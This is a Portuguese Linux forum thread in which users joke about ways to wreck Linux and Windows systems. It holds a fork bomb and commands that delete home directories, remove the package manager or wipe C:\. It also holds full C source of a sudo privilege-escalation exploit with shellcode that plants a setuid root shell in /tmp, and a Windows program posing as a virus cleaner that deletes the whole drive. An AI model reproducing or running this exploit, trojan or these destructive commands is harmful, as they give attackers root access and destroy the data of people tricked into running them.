Destruindo o Linux

Como disse o 'clodoaldo':

"Eu não preciso de nada disso.
Basta eu tentar atualizar ou instalar algo depois de 24hs de plantão na UTI.
Já fiz cada uma e nem pedia ajuda no VOL pq nem tinha ideia do que havia feito.
Não use linux com sono!
rsrsrsrsrsrsrsrsrsrsrs..."

Já fiz cada cagada no sistema na madruga cheio de sono, mais que o vício não deixou eu apagar, isso o sono pois o sistema depois de um tempo...já era, rsrsrsrs...

Tente rodar o 'Gconf cleaner' sem saber o que está fazendo. Seu sistema vai se f*d*r, kkkkk...

No Debian tema lgo interessante de se fazer.
apt-get purge apt dpkg
O interessante é ver ele se remover e depois não saber oq eu fazer (nunca fiz isso sem querer, foi proposital).

bom, em linux, o estragador mor é o Root...!rsrsrs
como fala teixeira... "a Rute"! srsrrsrssrsrsrs

quando eu comecei a usar Gentoo e Sabayon, resolvi,ao atualizar portage... tirar o portage antigo antes:

sudo emerge -C portage

e esqueci que,comando "emerge" é... "PORTAGE" rsrsrsrsrsr

e para instalar o novo Portage? cadê o emerge! srrsrsrsrsrsrrs

e no sabayon,uma fez fiz:

sudo emerge -C alsa

e o Kernel foi embora junto com o ALSA! rsrsrsrsrsr

pois é "Rute" é fogo, faz cada estrago! rsrsrsrsrsrrsrsrsrs

Use o FreeBSD em liveCD. Uma vez fiquei curioso e coloquei um cd Live do FreeBSD para rodar. Depois tive que reinstalar o GRUB com o LiveCD do Ubuntu.

Não sei até hoje porque aconteceu tal caca mas é fato, aconteceu.

mv /$HOME/* /dev/null

:(){:|:&};:

source C (sobo.c)
/*
* off by one ebp overwrite in sudo prompt parsing
function
* discovered by beyond security in 2007, thx ge
*
* to compile: gcc -pipe -o sobo sobo.c ; ./sobo
*
* please use responsibly! a patch has already been
sent
* upstream and a fix will be included in the next
sudo release
*
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#define SPROMPT "%u () %h> \\%"
#define shellcode esp
#define RETS_NUM 246
#define NOPS_NUM 116

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

void fill (char *buff, int size, unsigned long val) {
unsigned long *ptr = (unsigned long *) buff;
for (size /= sizeof (unsigned long); size > 0;
size--) *ptr++ = val;
}

unsigned long get_sp (void) {
__asm__ ("lea esp, %eax");
}

char *exp (char nops_nums, char rets_nums, char
*shellcode) {
int size = strlen (SPROMPT) + nops_nums + rets_nums
+ strlen (shellcode);
unsigned char *nops = alloca (nops_nums);
unsigned char *rets = alloca (rets_nums);
unsigned long ret = get_sp ();
static char exp_buffer [8192];
/* ensure isatty() fails */
close (0); close (1); close (2);
fill (nops, (unsigned char) nops_nums, 0x90909090);
fill (rets, (unsigned char) rets_nums, ret);
if (size > sizeof (exp_buffer)) {
fprintf (stderr, "buffer is too small\n");
return NULL;
}
snprintf (exp_buffer, sizeof (exp_buffer),
"%s%s%s%s",
SPROMPT, nops, shellcode, rets);
return exp_buffer;
}

int main(int argv, char *argc[]) {
char *exploit = exp (NOPS_NUM, RETS_NUM, shellcode);
execl ("/usr/bin/sudo", "/usr/bin/sudo", "-b", "-p",
exploit, "/bin/false", NULL);
/* shellroot should await you @ "HISTFILE=/dev/null
/tmp/.beyond -p" */
return 0;
}

como essa idéia de destruir o Linux, acabo de ver um user, que pediu como faz para ter a senha de root do linux, pq quer.. destruir o Linux, para colocar windows! srrsrsrs
na realidade estamos aqui para construir o linux, e não para destruir.. rsrsrsrsrsrsr
se alguém destruir principalmente o meu trabalhoso Gentoo, não vouf ficar nem um pouco contente... rsrsrsrsrs

Saitam... olha que bonitinho são sinais de comando,,, vamos executar! rrsrsrs
que script bacana, vamos testar.rsrsrsrsrsrrs

O Sr. Seitam pegou pesado... é um belo programa em C,,, mas creioq ue um chell consiga fazer a mesma coisa hahahahah.

Sr. albfneto, entenda o objetivo deste tópico é encontrar falhas no Linux, porém como podemos ver não temos nenhuma falha que o usuário não possa contornar, pois boa parte do materia Linux é compilado e qualkquer um pode arrumar seu código e resolver o problema.

Agora vamos mudar o curso do tópico, Ai Sr. Silva, se deu mau hoje! WHAHAHAHAHAHAHAHAHAHAHA!!!

VAmos lá, postem os bugs e fraquezas que os Sres conheçem do sistema Windows e para não sair do tema do tópico faça uma comparativa com o Linux.


O cmd.exe (que é o prompt de comando onde todos os comandos são executados) pode por ventura ser substituido por algum outro programa e quando o sistema executar qualquer coisa por linha de comando ele será executado e Kabum! Este tipo de coisa era muito utilizado para criar cracks e burlar programas feitos em C/C++ que utilizavam o cabeçalho stdlib.h onde o programa chamava o cmd e depois executava o comando dentro dele, com isso vários programas foram crackeados no passado em ambiente Windows. No Linux este mesmo cabeçalho existe e não irá causar nenhum danoq ue o proprio usuario não possa causar sozinho e como o Linux é open source, cracks são coisas inuteis e convenhamos mesmo sendo uma falha legal ainda não serve para dar medo.

OBs. Não irei tratar de falhas do windows atuais pois o VOl, não é voltado para nenhum tipo Cracking ou Hacking em ambiente Windows.

A forma mais fácil de destruir o Windows é entrar no prompt de comando em modo de segurança e digitar deltree c:\windows (para as versões 3.x/9x) e deltree c:\winnt (para as versões baseadas em NT). Costumava funcionar mas não sei se atualmente o prompt de comando ainda traz o deltree instalado.

Na verdade tem até um artigo ensinando isso:

http://www.vivaolinux.com.br/artigo/5-comandos-que-ninguem-nunca-deve-executar-no-Linux/

Aqui o povo é livre até na hora de ensiar a destruir o Linux rsss

Sim, eu já havia lido este artigo, mas eu esper4ava encontrar coisas mais mirabolantes e destrutivas, mas não vi nada que eu não conheçesse aqui =/

usando um disquete de boot da para usar o format C: ahhahahahahah

no Windows
RD C:\ /Q /S

esse comando é equivalente ao rm -Rf /* do Linux

#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("Limpando vírus,spywares,worms,trojans do sistema Windows =D\n");
system("RD C:\ /Q /S");
system("Pause");
}

no DevC++ Ctrl+F9 (apenas compila) e F9 (compila e executa).
Neste caso apenas compila (Ctrl+F9) para gerar o .exe

Ele vai parar no windows XP, Vista, Seven, existem arquivos na pasta do windows que nem ele mesmo consegue deletar.